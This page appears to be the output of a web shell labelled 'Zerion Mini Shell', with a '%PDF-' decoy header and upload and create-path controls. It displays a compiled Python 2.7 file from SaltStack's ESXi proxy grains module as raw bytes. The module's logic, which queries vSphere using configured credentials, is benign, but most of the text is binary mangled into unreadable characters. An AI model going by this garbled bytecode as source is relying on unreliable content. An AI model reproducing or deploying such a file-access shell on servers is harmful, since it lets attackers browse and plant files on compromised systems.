%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /lib/python2.7/site-packages/salt/grains/
Upload File :
Create Path :
Current File : //lib/python2.7/site-packages/salt/grains/esxi.pyc

�
���^c@@s�dZddlmZmZmZddlZddlmZddlZ	ddl
Z	dgZdZej
e�ZiZd�Zd�Zd�Zd	�Zd
�Zd�Zd�ZdS(
uT
Generate baseline proxy minion grains for ESXi hosts.

.. versionadded:: 2015.8.4

i(tabsolute_importtprint_functiontunicode_literalsN(tSaltSystemExituesxicC@sFy.tjjj�r-tdddkr-tSWntk
rAnXtS(Nuproxyu	proxytypeuesxi(tsalttutilstplatformtis_proxyt__opts__t__virtualname__tKeyErrortFalse(((s4/usr/lib/python2.7/site-packages/salt/grains/esxi.pyt__virtual__s&
cC@st�S(N(t_grains(((s4/usr/lib/python2.7/site-packages/salt/grains/esxi.pytesxi%scC@sidd6S(Nuproxyukernel((((s4/usr/lib/python2.7/site-packages/salt/grains/esxi.pytkernel)scC@sQtstjt��nyitjd�d6SWntk
rLidd6SXdS(NufullNameuosuUnknown(tGRAINS_CACHEtupdateR
tgettAttributeError(((s4/usr/lib/python2.7/site-packages/salt/grains/esxi.pytos-s
cC@sidd6S(Nuproxyu	os_family((((s4/usr/lib/python2.7/site-packages/salt/grains/esxi.pyt	os_family7sc	C@s�tdjdd�g}tdd}xn|D]f}x]|D]U}y(tjjjd|d|d|�}Wntk
rq;nX|r;||fSq;Wq.Wtd��d	S(
u]
    Cycle through all the possible credentials and return the first one that
    works.
    uproxyuusernameurootu	passwordsthosttusernametpasswordu@Cannot complete login due to an incorrect user name or password.N(t
__pillar__RRtmodulestvspheretsystem_infoR(Rt
user_namest	passwordstuserRtret((s4/usr/lib/python2.7/site-packages/salt/grains/esxi.pyt_find_credentials;s



cC@s�y�tdd}|r�t|�\}}tdjd�}tdjd�}tjjjd|d|d|d|d	|�}tj|�nWnt	k
r�nXtS(
u1
    Get the grains from the proxied device.
    uproxyuhostuprotocoluportRRRtprotocoltport(
RR!RRRRRRRR
(RRRR"R#R ((s4/usr/lib/python2.7/site-packages/salt/grains/esxi.pyR
Ss	
(t__doc__t
__future__RRRtloggingtsalt.exceptionsRtsalt.utils.platformRtsalt.modules.vspheret__proxyenabled__R	t	getLoggert__file__tlogRRRRRRR!R
(((s4/usr/lib/python2.7/site-packages/salt/grains/esxi.pyt<module>s 					
		

Zerion Mini Shell 1.0